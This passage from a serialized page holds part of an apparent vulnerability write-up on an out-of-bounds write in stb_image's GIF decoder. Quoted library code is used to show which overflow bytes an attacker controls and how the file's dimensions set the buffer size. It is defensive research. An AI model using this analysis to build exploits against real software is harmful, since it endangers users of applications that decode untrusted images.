07,"children":146808},{"style":160},[146809],{"type":29,"value":1377},{"type":23,"tag":141,"props":146811,"children":146812},{"style":160},[146813],{"type":29,"value":5815},{"type":23,"tag":141,"props":146815,"children":146816},{"style":750},[146817],{"type":29,"value":107783},{"type":23,"tag":141,"props":146819,"children":146820},{"style":154},[146821],{"type":29,"value":12435},{"type":23,"tag":141,"props":146823,"children":146824},{"style":750},[146825],{"type":29,"value":117206},{"type":23,"tag":141,"props":146827,"children":146828},{"style":154},[146829],{"type":29,"value":146541},{"type":23,"tag":141,"props":146831,"children":146832},{"class":143,"line":262},[146833,146837,146841,146845,146849,146853,146857,146861,146865,146869],{"type":23,"tag":141,"props":146834,"children":146835},{"style":750},[146836],{"type":29,"value":146549},{"type":23,"tag":141,"props":146838,"children":146839},{"style":154},[146840],{"type":29,"value":12435},{"type":23,"tag":141,"props":146842,"children":146843},{"style":750},[146844],{"type":29,"value":146558},{"type":23,"tag":141,"props":146846,"children":146847},{"style":154},[146848],{"type":29,"value":146563},{"type":23,"tag":141,"props":146850,"children":146851},{"style":160},[146852],{"type":29,"value":3255},{"type":23,"tag":141,"props":146854,"children":146855},{"style":472},[146856],{"type":29,"value":10425},{"type":23,"tag":141,"props":146858,"children":146859},{"style":154},[146860],{"type":29,"value":7337},{"type":23,"tag":141,"props":146862,"children":146863},{"style":160},[146864],{"type":29,"value":1377},{"type":23,"tag":141,"props":146866,"children":146867},{"style":472},[146868],{"type":29,"value":3198},{"type":23,"tag":141,"props":146870,"children":146871},{"style":154},[146872],{"type":29,"value":146873},"; \n",{"type":23,"tag":141,"props":146875,"children":146876},{"class":143,"line":271},[146877],{"type":23,"tag":141,"props":146878,"children":146879},{"emptyLinePlaceholder":15},[146880],{"type":29,"value":719},{"type":23,"tag":141,"props":146882,"children":146883},{"class":143,"line":293},[146884,146889,146893,146897,146901,146905,146910,146914,146918,146922,146927,146932,146937,146941,146945],{"type":23,"tag":141,"props":146885,"children":146886},{"style":154},[146887],{"type":29,"value":146888}," c ",{"type":23,"tag":141,"props":146890,"children":146891},{"style":160},[146892],{"type":29,"value":1377},{"type":23,"tag":141,"props":146894,"children":146895},{"style":160},[146896],{"type":29,"value":5815},{"type":23,"tag":141,"props":146898,"children":146899},{"style":750},[146900],{"type":29,"value":107783},{"type":23,"tag":141,"props":146902,"children":146903},{"style":154},[146904],{"type":29,"value":12435},{"type":23,"tag":141,"props":146906,"children":146907},{"style":750},[146908],{"type":29,"value":146909},"color_table",{"type":23,"tag":141,"props":146911,"children":146912},{"style":154},[146913],{"type":29,"value":2399},{"type":23,"tag":141,"props":146915,"children":146916},{"style":750},[146917],{"type":29,"value":107783},{"type":23,"tag":141,"props":146919,"children":146920},{"style":154},[146921],{"type":29,"value":12435},{"type":23,"tag":141,"props":146923,"children":146924},{"style":750},[146925],{"type":29,"value":146926},"codes",{"type":23,"tag":141,"props":146928,"children":146929},{"style":154},[146930],{"type":29,"value":146931},"[code].",{"type":23,"tag":141,"props":146933,"children":146934},{"style":750},[146935],{"type":29,"value":146936},"suffix",{"type":23,"tag":141,"props":146938,"children":146939},{"style":160},[146940],{"type":29,"value":8496},{"type":23,"tag":141,"props":146942,"children":146943},{"style":472},[146944],{"type":29,"value":10425},{"type":23,"tag":141,"props":146946,"children":146947},{"style":154},[146948],{"type":29,"value":30042},{"type":23,"tag":141,"props":146950,"children":146951},{"class":143,"line":801},[146952,146956,146960,146964,146968,146972,146976,146980,146985],{"type":23,"tag":141,"props":146953,"children":146954},{"style":148},[146955],{"type":29,"value":51123},{"type":23,"tag":141,"props":146957,"children":146958},{"style":154},[146959],{"type":29,"value":1220},{"type":23,"tag":141,"props":146961,"children":146962},{"style":750},[146963],{"type":29,"value":1807},{"type":23,"tag":141,"props":146965,"children":146966},{"style":154},[146967],{"type":29,"value":2399},{"type":23,"tag":141,"props":146969,"children":146970},{"style":472},[146971],{"type":29,"value":15972},{"type":23,"tag":141,"props":146973,"children":146974},{"style":154},[146975],{"type":29,"value":7337},{"type":23,"tag":141,"props":146977,"children":146978},{"style":160},[146979],{"type":29,"value":9142},{"type":23,"tag":141,"props":146981,"children":146982},{"style":472},[146983],{"type":29,"value":146984}," 128",{"type":23,"tag":141,"props":146986,"children":146987},{"style":154},[146988],{"type":29,"value":13480},{"type":23,"tag":141,"props":146990,"children":146991},{"class":143,"line":810},[146992,146997,147001,147005,147009,147013,147017,147021,147025,147029],{"type":23,"tag":141,"props":146993,"children":146994},{"style":750},[146995],{"type":29,"value":146996}," p",{"type":23,"tag":141,"props":146998,"children":146999},{"style":154},[147000],{"type":29,"value":2399},{"type":23,"tag":141,"props":147002,"children":147003},{"style":472},[147004],{"type":29,"value":2698},{"type":23,"tag":141,"props":147006,"children":147007},{"style":154},[147008],{"type":29,"value":7337},{"type":23,"tag":141,"props":147010,"children":147011},{"style":160},[147012],{"type":29,"value":1377},{"type":23,"tag":141,"props":147014,"children":147015},{"style":750},[147016],{"type":29,"value":35916},{"type":23,"tag":141,"props":147018,"children":147019},{"style":154},[147020],{"type":29,"value":2399},{"type":23,"tag":141,"props":147022,"children":147023},{"style":472},[147024],{"type":29,"value":1049},{"type":23,"tag":141,"props":147026,"children":147027},{"style":154},[147028],{"type":29,"value":54391},{"type":23,"tag":141,"props":147030,"children":147031},{"style":443},[147032],{"type":29,"value":147033}," // OOB write\n",{"type":23,"tag":141,"props":147035,"children":147036},{"class":143,"line":824},[147037,147041,147045,147049,147053,147057,147061,147065,147069],{"type":23,"tag":141,"props":147038,"children":147039},{"style":750},[147040],{"type":29,"value":146996},{"type":23,"tag":141,"props":147042,"children":147043},{"style":154},[147044],{"type":29,"value":2399},{"type":23,"tag":141,"props":147046,"children":147047},{"style":472},[147048],{"type":29,"value":687},{"type":23,"tag":141,"props":147050,"children":147051},{"style":154},[147052],{"type":29,"value":7337},{"type":23,"tag":141,"props":147054,"children":147055},{"style":160},[147056],{"type":29,"value":1377},{"type":23,"tag":141,"props":147058,"children":147059},{"style":750},[147060],{"type":29,"value":35916},{"type":23,"tag":141,"props":147062,"children":147063},{"style":154},[147064],{"type":29,"value":2399},{"type":23,"tag":141,"props":147066,"children":147067},{"style":472},[147068],{"type":29,"value":687},{"type":23,"tag":141,"props":147070,"children":147071},{"style":154},[147072],{"type":29,"value":30042},{"type":23,"tag":141,"props":147074,"children":147075},{"class":143,"line":839},[147076,147080,147084,147088,147092,147096,147100,147104,147108],{"type":23,"tag":141,"props":147077,"children":147078},{"style":750},[147079],{"type":29,"value":146996},{"type":23,"tag":141,"props":147081,"children":147082},{"style":154},[147083],{"type":29,"value":2399},{"type":23,"tag":141,"props":147085,"children":147086},{"style":472},[147087],{"type":29,"value":1049},{"type":23,"tag":141,"props":147089,"children":147090},{"style":154},[147091],{"type":29,"value":7337},{"type":23,"tag":141,"props":147093,"children":147094},{"style":160},[147095],{"type":29,"value":1377},{"type":23,"tag":141,"props":147097,"children":147098},{"style":750},[147099],{"type":29,"value":35916},{"type":23,"tag":141,"props":147101,"children":147102},{"style":154},[147103],{"type":29,"value":2399},{"type":23,"tag":141,"props":147105,"children":147106},{"style":472},[147107],{"type":29,"value":2698},{"type":23,"tag":141,"props":147109,"children":147110},{"style":154},[147111],{"type":29,"value":30042},{"type":23,"tag":141,"props":147113,"children":147114},{"class":143,"line":848},[147115,147119,147123,147127,147131,147135,147139,147143,147147],{"type":23,"tag":141,"props":147116,"children":147117},{"style":750},[147118],{"type":29,"value":146996},{"type":23,"tag":141,"props":147120,"children":147121},{"style":154},[147122],{"type":29,"value":2399},{"type":23,"tag":141,"props":147124,"children":147125},{"style":472},[147126],{"type":29,"value":15972},{"type":23,"tag":141,"props":147128,"children":147129},{"style":154},[147130],{"type":29,"value":7337},{"type":23,"tag":141,"props":147132,"children":147133},{"style":160},[147134],{"type":29,"value":1377},{"type":23,"tag":141,"props":147136,"children":147137},{"style":750},[147138],{"type":29,"value":35916},{"type":23,"tag":141,"props":147140,"children":147141},{"style":154},[147142],{"type":29,"value":2399},{"type":23,"tag":141,"props":147144,"children":147145},{"style":472},[147146],{"type":29,"value":15972},{"type":23,"tag":141,"props":147148,"children":147149},{"style":154},[147150],{"type":29,"value":30042},{"type":23,"tag":141,"props":147152,"children":147153},{"class":143,"line":2304},[147154],{"type":23,"tag":141,"props":147155,"children":147156},{"style":154},[147157],{"type":29,"value":33218},{"type":23,"tag":32,"props":147159,"children":147160},{},[147161,147163,147168,147170,147175],{"type":29,"value":147162},"This confirms ",{"type":23,"tag":38,"props":147164,"children":147166},{"className":147165},[],[147167],{"type":29,"value":75002},{"type":29,"value":147169}," is OOB for ",{"type":23,"tag":38,"props":147171,"children":147173},{"className":147172},[],[147174],{"type":29,"value":146653},{"type":29,"value":147176}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":23,"tag":32,"props":147178,"children":147179},{},[147180,147182,147188,147190,147197],{"type":29,"value":147181},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":23,"tag":38,"props":147183,"children":147185},{"className":147184},[],[147186],{"type":29,"value":147187},"g->color_table",{"type":29,"value":147189}," is populated by ",{"type":23,"tag":55,"props":147191,"children":147194},{"href":147192,"rel":147193},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[59],[147195],{"type":29,"value":147196},"stbi__gif_parse_colortable",{"type":29,"value":114},{"type":23,"tag":131,"props":147199,"children":147201},{"code":147200,"language":1807,"meta":7,"className":15191,"style":7},"static void stbi__gif_parse_colortable(\n stbi__context *s,\n stbi_uc pal[256][4], // g->color_table\n int num_entries,\n int transp\n) {\n int i;\n for (i=0; i \u003C num_entries; ++i) {\n pal[i][2] = stbi__get8(s);\n pal[i][1] = stbi__get8(s);\n pal[i][0] = stbi__get8(s);\n pal[i][3] = transp == i ? 0 : 255;\n }\n}\n",[147202],{"type":23,"tag":38,"props":147203,"children":147204},{"__ignoreMap":7},[147205,147225,147245,147284,147300,147312,147319,147330,147373,147407,147438,147469,147526,147533],{"type":23,"tag":141,"props":147206,"children":147207},{"class":143,"line":144},[147208,147212,147216,147221],{"type":23,"tag":141,"props":147209,"children":147210},{"style":449},[147211],{"type":29,"value":49523},{"type":23,"tag":141,"props":147213,"children":147214},{"style":449},[147215],{"type":29,"value":49528},{"type":23,"tag":141,"props":147217,"children":147218},{"style":184},[147219],{"type":29,"value":147220}," stbi__gif_parse_colortable",{"type":23,"tag":141,"props":147222,"children":147223},{"style":154},[147224],{"type":29,"value":2123},{"type":23,"tag":141,"props":147226,"children":147227},{"class":143,"line":180},[147228,147233,147237,147241],{"type":23,"tag":141,"props":147229,"children":147230},{"style":154},[147231],{"type":29,"value":147232}," stbi__context ",{"type":23,"tag":141,"props":147234,"children":147235},{"style":160},[147236],{"type":29,"value":197},{"type":23,"tag":141,"props":147238,"children":147239},{"style":750},[147240],{"type":29,"value":9332},{"type":23,"tag":141,"props":147242,"children":147243},{"style":154},[147244],{"type":29,"value":2168},{"type":23,"tag":141,"props":147246,"children":147247},{"class":143,"line":205},[147248,147253,147258,147262,147266,147270,147274,147279],{"type":23,"tag":141,"props":147249,"children":147250},{"style":154},[147251],{"type":29,"value":147252}," stbi_uc ",{"type":23,"tag":141,"props":147254,"children":147255},{"style":750},[147256],{"type":29,"value":147257},"pal",{"type":23,"tag":141,"props":147259,"children":147260},{"style":154},[147261],{"type":29,"value":2399},{"type":23,"tag":141,"props":147263,"children":147264},{"style":472},[147265],{"type":29,"value":91780},{"type":23,"tag":141,"props":147267,"children":147268},{"style":154},[147269],{"type":29,"value":47436},{"type":23,"tag":141,"props":147271,"children":147272},{"style":472},[147273],{"type":29,"value":16205},{"type":23,"tag":141,"props":147275,"children":147276},{"style":154},[147277],{"type":29,"value":147278},"],",{"type":23,"tag":141,"props":147280,"children":147281},{"style":443},[147282],{"type":29,"value":147283}," // g->color_table\n",{"type":23,"tag":141,"props":147285,"children":147286},{"class":143,"line":218},[147287,147291,147296],{"type":23,"tag":141,"props":147288,"children":147289},{"style":449},[147290],{"type":29,"value":17748},{"type":23,"tag":141,"props":147292,"children":147293},{"style":750},[147294],{"type":29,"value":147295}," num_entries",{"type":23,"tag":141,"props":147297,"children":147298},{"style":154},[147299],{"type":29,"value":2168},{"type":23,"tag":141,"props":147301,"children":147302},{"class":143,"line":227},[147303,147307],{"type":23,"tag":141,"props":147304,"children":147305},{"style":449},[147306],{"type":29,"value":17748},{"type":23,"tag":141,"props":147308,"children":147309},{"style":154},[147310],{"type":29,"value":147311}," transp\n",{"type":23,"tag":141,"props":147313,"children":147314},{"class":143,"line":241},[147315],{"type":23,"tag":141,"props":147316,"children":147317},{"style":154},[147318],{"type":29,"value":13480},{"type":23,"tag":141,"props":147320,"children":147321},{"class":143,"line":262},[147322,147326],{"type":23,"tag":141,"props":147323,"children":147324},{"style":449},[147325],{"type":29,"value":146374},{"type":23,"tag":141,"props":147327,"children":147328},{"style":154},[147329],{"type":29,"value":56444},{"type":23,"tag":141,"props":147331,"children":147332},{"class":143,"line":271},[147333,147338,147343,147347,147351,147355,147359,147364,147368],{"type":23,"tag":141,"props":147334,"children":147335},{"style":148},[147336],{"type":29,"value":147337}," for",{"type":23,"tag":141,"props":147339,"children":147340},{"style":154},[147341],{"type":29,"value":147342}," (i",{"type":23,"tag":141,"props":147344,"children":147345},{"style":160},[147346],{"type":29,"value":1377},{"type":23,"tag":141,"props":147348,"children":147349},{"style":472},[147350],{"type":29,"value":2698},{"type":23,"tag":141,"props":147352,"children":147353},{"style":154},[147354],{"type":29,"value":49712},{"type":23,"tag":141,"props":147356,"children":147357},{"style":160},[147358],{"type":29,"value":4480},{"type":23,"tag":141,"props":147360,"children":147361},{"style":154},[147362],{"type":29,"value":147363}," num_entries; ",{"type":23,"tag":141,"props":147365,"children":147366},{"style":160},[147367],{"type":29,"value":49748},{"type":23,"tag":141,"props":147369,"children":147370},{"style":154},[147371],{"type":29,"value":147372},"i) {\n",{"type":23,"tag":141,"props":147374,"children":147375},{"class":143,"line":293},[147376,147381,147385,147389,147393,147397,147402],{"type":23,"tag":141,"props":147377,"children":147378},{"style":750},[147379],{"type":29,"value":147380}," pal",{"type":23,"tag":141,"props":147382,"children":147383},{"style":154},[147384],{"type":29,"value":59135},{"type":23,"tag":141,"props":147386,"children":147387},{"style":472},[147388],{"type":29,"value":1049},{"type":23,"tag":141,"props":147390,"children":147391},{"style":154},[147392],{"type":29,"value":7337},{"type":23,"tag":141,"props":147394,"children":147395},{"style":160},[147396],{"type":29,"value":1377},{"type":23,"tag":141,"props":147398,"children":147399},{"style":184},[147400],{"type":29,"value":147401}," stbi__get8",{"type":23,"tag":141,"props":147403,"children":147404},{"style":154},[147405],{"type":29,"value":147406},"(s);\n",{"type":23,"tag":141,"props":147408,"children":147409},{"class":143,"line":801},[147410,147414,147418,147422,147426,147430,147434],{"type":23,"tag":141,"props":147411,"children":147412},{"style":750},[147413],{"type":29,"value":147380},{"type":23,"tag":141,"props":147415,"children":147416},{"style":154},[147417],{"type":29,"value":59135},{"type":23,"tag":141,"props":147419,"children":147420},{"style":472},[147421],{"type":29,"value":687},{"type":23,"tag":141,"props":147423,"children":147424},{"style":154},[147425],{"type":29,"value":7337},{"type":23,"tag":141,"props":147427,"children":147428},{"style":160},[147429],{"type":29,"value":1377},{"type":23,"tag":141,"props":147431,"children":147432},{"style":184},[147433],{"type":29,"value":147401},{"type":23,"tag":141,"props":147435,"children":147436},{"style":154},[147437],{"type":29,"value":147406},{"type":23,"tag":141,"props":147439,"children":147440},{"class":143,"line":810},[147441,147445,147449,147453,147457,147461,147465],{"type":23,"tag":141,"props":147442,"children":147443},{"style":750},[147444],{"type":29,"value":147380},{"type":23,"tag":141,"props":147446,"children":147447},{"style":154},[147448],{"type":29,"value":59135},{"type":23,"tag":141,"props":147450,"children":147451},{"style":472},[147452],{"type":29,"value":2698},{"type":23,"tag":141,"props":147454,"children":147455},{"style":154},[147456],{"type":29,"value":7337},{"type":23,"tag":141,"props":147458,"children":147459},{"style":160},[147460],{"type":29,"value":1377},{"type":23,"tag":141,"props":147462,"children":147463},{"style":184},[147464],{"type":29,"value":147401},{"type":23,"tag":141,"props":147466,"children":147467},{"style":154},[147468],{"type":29,"value":147406},{"type":23,"tag":141,"props":147470,"children":147471},{"class":143,"line":824},[147472,147476,147480,147484,147488,147492,147497,147501,147505,147509,147513,147517,147522],{"type":23,"tag":141,"props":147473,"children":147474},{"style":750},[147475],{"type":29,"value":147380},{"type":23,"tag":141,"props":147477,"children":147478},{"style":154},[147479],{"type":29,"value":59135},{"type":23,"tag":141,"props":147481,"children":147482},{"style":472},[147483],{"type":29,"value":15972},{"type":23,"tag":141,"props":147485,"children":147486},{"style":154},[147487],{"type":29,"value":7337},{"type":23,"tag":141,"props":147489,"children":147490},{"style":160},[147491],{"type":29,"value":1377},{"type":23,"tag":141,"props":147493,"children":147494},{"style":154},[147495],{"type":29,"value":147496}," transp ",{"type":23,"tag":141,"props":147498,"children":147499},{"style":160},[147500],{"type":29,"value":7251},{"type":23,"tag":141,"props":147502,"children":147503},{"style":154},[147504],{"type":29,"value":53023},{"type":23,"tag":141,"props":147506,"children":147507},{"style":160},[147508],{"type":29,"value":1816},{"type":23,"tag":141,"props":147510,"children":147511},{"style":472},[147512],{"type":29,"value":1707},{"type":23,"tag":141,"props":147514,"children":147515},{"style":160},[147516],{"type":29,"value":33586},{"type":23,"tag":141,"props":147518,"children":147519},{"style":472},[147520],{"type":29,"value":147521}," 255",{"type":23,"tag":141,"props":147523,"children":147524},{"style":154},[147525],{"type":29,"value":1684},{"type":23,"tag":141,"props":147527,"children":147528},{"class":143,"line":839},[147529],{"type":23,"tag":141,"props":147530,"children":147531},{"style":154},[147532],{"type":29,"value":33218},{"type":23,"tag":141,"props":147534,"children":147535},{"class":143,"line":848},[147536],{"type":23,"tag":141,"props":147537,"children":147538},{"style":154},[147539],{"type":29,"value":2573},{"type":23,"tag":32,"props":147541,"children":147542},{},[147543,147545,147550,147551,147556,147558,147563],{"type":29,"value":147544},"The first three bytes are read from the input image, while the last byte can be either ",{"type":23,"tag":38,"props":147546,"children":147548},{"className":147547},[],[147549],{"type":29,"value":2698},{"type":29,"value":11812},{"type":23,"tag":38,"props":147552,"children":147554},{"className":147553},[],[147555],{"type":29,"value":111828},{"type":29,"value":147557},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":23,"tag":38,"props":147559,"children":147561},{"className":147560},[],[147562],{"type":29,"value":919},{"type":29,"value":114},{"type":23,"tag":131,"props":147565,"children":147567},{"code":147566,"language":1807,"meta":7,"className":15191,"style":7}," c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2];\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[147568],{"type":23,"tag":38,"props":147569,"children":147570},{"__ignoreMap":7},[147571,147634,147673,147712,147751,147790,147829],{"type":23,"tag":141,"props":147572,"children":147573},{"class":143,"line":144},[147574,147578,147582,147586,147590,147594,147598,147602,147606,147610,147614,147618,147622,147626,147630],{"type":23,"tag":141,"props":147575,"children":147576},{"style":154},[147577],{"type":29,"value":146888},{"type":23,"tag":141,"props":147579,"children":147580},{"style":160},[147581],{"type":29,"value":1377},{"type":23,"tag":141,"props":147583,"children":147584},{"style":160},[147585],{"type":29,"value":5815},{"type":23,"tag":141,"props":147587,"children":147588},{"style":154},[147589],{"type":29,"value":107783},{"type":23,"tag":141,"props":147591,"children":147592},{"style":160},[147593],{"type":29,"value":12435},{"type":23,"tag":141,"props":147595,"children":147596},{"style":750},[147597],{"type":29,"value":146909},{"type":23,"tag":141,"props":147599,"children":147600},{"style":154},[147601],{"type":29,"value":2399},{"type":23,"tag":141,"props":147603,"children":147604},{"style":750},[147605],{"type":29,"value":107783},{"type":23,"tag":141,"props":147607,"children":147608},{"style":154},[147609],{"type":29,"value":12435},{"type":23,"tag":141,"props":147611,"children":147612},{"style":750},[147613],{"type":29,"value":146926},{"type":23,"tag":141,"props":147615,"children":147616},{"style":154},[147617],{"type":29,"value":146931},{"type":23,"tag":141,"props":147619,"children":147620},{"style":750},[147621],{"type":29,"value":146936},{"type":23,"tag":141,"props":147623,"children":147624},{"style":160},[147625],{"type":29,"value":8496},{"type":23,"tag":141,"props":147627,"children":147628},{"style":472},[147629],{"type":29,"value":10425},{"type":23,"tag":141,"props":147631,"children":147632},{"style":154},[147633],{"type":29,"value":30042},{"type":23,"tag":141,"props":147635,"children":147636},{"class":143,"line":180},[147637,147641,147645,147649,147653,147657,147661,147665,147669],{"type":23,"tag":141,"props":147638,"children":147639},{"style":148},[147640],{"type":29,"value":51123},{"type":23,"tag":141,"props":147642,"children":147643},{"style":154},[147644],{"type":29,"value":1220},{"type":23,"tag":141,"props":147646,"children":147647},{"style":750},[147648],{"type":29,"value":1807},{"type":23,"tag":141,"props":147650,"children":147651},{"style":154},[147652],{"type":29,"value":2399},{"type":23,"tag":141,"props":147654,"children":147655},{"style":472},[147656],{"type":29,"value":15972},{"type":23,"tag":141,"props":147658,"children":147659},{"style":154},[147660],{"type":29,"value":7337},{"type":23,"tag":141,"props":147662,"children":147663},{"style":160},[147664],{"type":29,"value":9142},{"type":23,"tag":141,"props":147666,"children":147667},{"style":472},[147668],{"type":29,"value":146984},{"type":23,"tag":141,"props":147670,"children":147671},{"style":154},[147672],{"type":29,"value":13480},{"type":23,"tag":141,"props":147674,"children":147675},{"class":143,"line":205},[147676,147680,147684,147688,147692,147696,147700,147704,147708],{"type":23,"tag":141,"props":147677,"children":147678},{"style":750},[147679],{"type":29,"value":146996},{"type":23,"tag":141,"props":147681,"children":147682},{"style":154},[147683],{"type":29,"value":2399},{"type":23,"tag":141,"props":147685,"children":147686},{"style":472},[147687],{"type":29,"value":2698},{"type":23,"tag":141,"props":147689,"children":147690},{"style":154},[147691],{"type":29,"value":7337},{"type":23,"tag":141,"props":147693,"children":147694},{"style":160},[147695],{"type":29,"value":1377},{"type":23,"tag":141,"props":147697,"children":147698},{"style":750},[147699],{"type":29,"value":35916},{"type":23,"tag":141,"props":147701,"children":147702},{"style":154},[147703],{"type":29,"value":2399},{"type":23,"tag":141,"props":147705,"children":147706},{"style":472},[147707],{"type":29,"value":1049},{"type":23,"tag":141,"props":147709,"children":147710},{"style":154},[147711],{"type":29,"value":30042},{"type":23,"tag":141,"props":147713,"children":147714},{"class":143,"line":218},[147715,147719,147723,147727,147731,147735,147739,147743,147747],{"type":23,"tag":141,"props":147716,"children":147717},{"style":750},[147718],{"type":29,"value":146996},{"type":23,"tag":141,"props":147720,"children":147721},{"style":154},[147722],{"type":29,"value":2399},{"type":23,"tag":141,"props":147724,"children":147725},{"style":472},[147726],{"type":29,"value":687},{"type":23,"tag":141,"props":147728,"children":147729},{"style":154},[147730],{"type":29,"value":7337},{"type":23,"tag":141,"props":147732,"children":147733},{"style":160},[147734],{"type":29,"value":1377},{"type":23,"tag":141,"props":147736,"children":147737},{"style":750},[147738],{"type":29,"value":35916},{"type":23,"tag":141,"props":147740,"children":147741},{"style":154},[147742],{"type":29,"value":2399},{"type":23,"tag":141,"props":147744,"children":147745},{"style":472},[147746],{"type":29,"value":687},{"type":23,"tag":141,"props":147748,"children":147749},{"style":154},[147750],{"type":29,"value":30042},{"type":23,"tag":141,"props":147752,"children":147753},{"class":143,"line":227},[147754,147758,147762,147766,147770,147774,147778,147782,147786],{"type":23,"tag":141,"props":147755,"children":147756},{"style":750},[147757],{"type":29,"value":146996},{"type":23,"tag":141,"props":147759,"children":147760},{"style":154},[147761],{"type":29,"value":2399},{"type":23,"tag":141,"props":147763,"children":147764},{"style":472},[147765],{"type":29,"value":1049},{"type":23,"tag":141,"props":147767,"children":147768},{"style":154},[147769],{"type":29,"value":7337},{"type":23,"tag":141,"props":147771,"children":147772},{"style":160},[147773],{"type":29,"value":1377},{"type":23,"tag":141,"props":147775,"children":147776},{"style":750},[147777],{"type":29,"value":35916},{"type":23,"tag":141,"props":147779,"children":147780},{"style":154},[147781],{"type":29,"value":2399},{"type":23,"tag":141,"props":147783,"children":147784},{"style":472},[147785],{"type":29,"value":2698},{"type":23,"tag":141,"props":147787,"children":147788},{"style":154},[147789],{"type":29,"value":30042},{"type":23,"tag":141,"props":147791,"children":147792},{"class":143,"line":241},[147793,147797,147801,147805,147809,147813,147817,147821,147825],{"type":23,"tag":141,"props":147794,"children":147795},{"style":750},[147796],{"type":29,"value":146996},{"type":23,"tag":141,"props":147798,"children":147799},{"style":154},[147800],{"type":29,"value":2399},{"type":23,"tag":141,"props":147802,"children":147803},{"style":472},[147804],{"type":29,"value":15972},{"type":23,"tag":141,"props":147806,"children":147807},{"style":154},[147808],{"type":29,"value":7337},{"type":23,"tag":141,"props":147810,"children":147811},{"style":160},[147812],{"type":29,"value":1377},{"type":23,"tag":141,"props":147814,"children":147815},{"style":750},[147816],{"type":29,"value":35916},{"type":23,"tag":141,"props":147818,"children":147819},{"style":154},[147820],{"type":29,"value":2399},{"type":23,"tag":141,"props":147822,"children":147823},{"style":472},[147824],{"type":29,"value":15972},{"type":23,"tag":141,"props":147826,"children":147827},{"style":154},[147828],{"type":29,"value":30042},{"type":23,"tag":141,"props":147830,"children":147831},{"class":143,"line":262},[147832],{"type":23,"tag":141,"props":147833,"children":147834},{"style":154},[147835],{"type":29,"value":33218},{"type":23,"tag":32,"props":147837,"children":147838},{},[147839,147840,147845,147847,147852,147854,147859],{"type":29,"value":22698},{"type":23,"tag":38,"props":147841,"children":147843},{"className":147842},[],[147844],{"type":29,"value":147196},{"type":29,"value":147846}," has to set the last byte to ",{"type":23,"tag":38,"props":147848,"children":147850},{"className":147849},[],[147851],{"type":29,"value":111828},{"type":29,"value":147853}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":23,"tag":38,"props":147855,"children":147857},{"className":147856},[],[147858],{"type":29,"value":111828},{"type":29,"value":322},{"type":23,"tag":32,"props":147861,"children":147862},{},[147863,147865,147870,147872,147878,147879,147885],{"type":29,"value":147864},"In the code we can see that size of the ",{"type":23,"tag":38,"props":147866,"children":147868},{"className":147867},[],[147869],{"type":29,"value":146653},{"type":29,"value":147871}," allocation is controlled through ",{"type":23,"tag":38,"props":147873,"children":147875},{"className":147874},[],[147876],{"type":29,"value":147877},"g->w",{"type":29,"value":313},{"type":23,"tag":38,"props":147880,"children":147882},{"className":147881},[],[147883],{"type":29,"value":147884},"g->h",{"type":29,"value":147886}," values, both of which are read from the input file itself:",{"type":23,"tag":131,"props":147888,"children":147890},{"code":147889,"language":1807,"meta":7,"className":15191,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n [...]\n if (g->out == 0) {\n if (!stbi__gif_header(s, g, comp,0)) return 0;\n g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[147891],{"type":23,"tag":38,"props":147892,"children":147893},{"__ignoreMap":7},[147894,147919,147926,147933,147968,148014],{"type":23,"tag":141,"props":147895,"children":147896},{"class":143,"line":144},[147897,147901,147906,147910,147914],{"type":23,"tag":141,"props":147898,"children":147899},{"style":449},[147900],{"type":29,"value":49523},{"type":23,"tag":141,"props":147902,"children":147903},{"style":154},[147904],{"type":29,"value":147905}," stbi_uc ",{"type":23,"tag":141,"props":147907,"children":147908},{"style":160},[147909],{"type":29,"value":197},{"type":23,"tag":141,"props":147911,"children":147912},{"style":184},[147913],{"type":29,"value":145832},{"type":23,"tag":141,"props":147915,"children":147916},{"style":154},[147917],{"type":29,"value":147918},"(...)\n",{"type":23,"tag":141,"props":147920,"children":147921},{"class":143,"line":180},[147922],{"type":23,"tag":141,"props":147923,"children":147924},{"style":154},[147925],{"type":29,"value":766},{"type":23,"tag":141,"props":147927,"children":147928},{"class":143,"line":205},[147929],{"type":23,"tag":141,"props":147930,"children":147931},{"style":154},[147932],{"type":29,"value":146394},{"type":23,"tag":141,"props":147934,"children":147935},{"class":143,"line":218},[147936,147940,147944,147948,147952,147956,147960,147964],{"type":23,"tag":141,"props":147937,"children":147938},{"style":148},[147939],{"type":29,"value":51123},{"type":23,"tag":141,"props":147941,"children":147942},{"style":154},[147943],{"type":29,"value":1220},{"type":23,"tag":141,"props":147945,"children":147946},{"style":750},[147947],{"type":29,"value":107783},{"type":23,"tag":141,"props":147949,"children":147950},{"style":154},[147951],{"type":29,"value":12435},{"type":23,"tag":141,"props":147953,"children":147954},{"style":750},[147955],{"type":29,"value":117206},{"type":23,"tag":141,"props":147957,"children":147958},{"style":160},[147959],{"type":29,"value":1942},{"type":23,"tag":141,"props":147961,"children":147962},{"style":472},[147963],{"type":29,"value":1707},{"type":23,"tag":141,"props":147965,"children":147966},{"style":154},[147967],{"type":29,"value":13480},{"type":23,"tag":141,"props":147969,"children":147970},{"class":143,"line":227},[147971,147975,147979,147983,147988,147993,147997,148002,148006,148010],{"type":23,"tag":141,"props":147972,"children":147973},{"style":148},[147974],{"type":29,"value":37758},{"type":23,"tag":141,"props":147976,"children":147977},{"style":154},[147978],{"type":29,"value":1220},{"type":23,"tag":141,"props":147980,"children":147981},{"style":160},[147982],{"type":29,"value":19293},{"type":23,"tag":141,"props":147984,"children":147985},{"style":184},[147986],{"type":29,"value":147987},"stbi__gif_header",{"type":23,"tag":141,"props":147989,"children":147990},{"style":154},[147991],{"type":29,"value":147992},"(s, g, comp,",{"type":23,"tag":141,"props":147994,"children":147995},{"style":472},[147996],{"type":29,"value":2698},{"type":23,"tag":141,"props":147998,"children":147999},{"style":154},[148000],{"type":29,"value":148001},")) 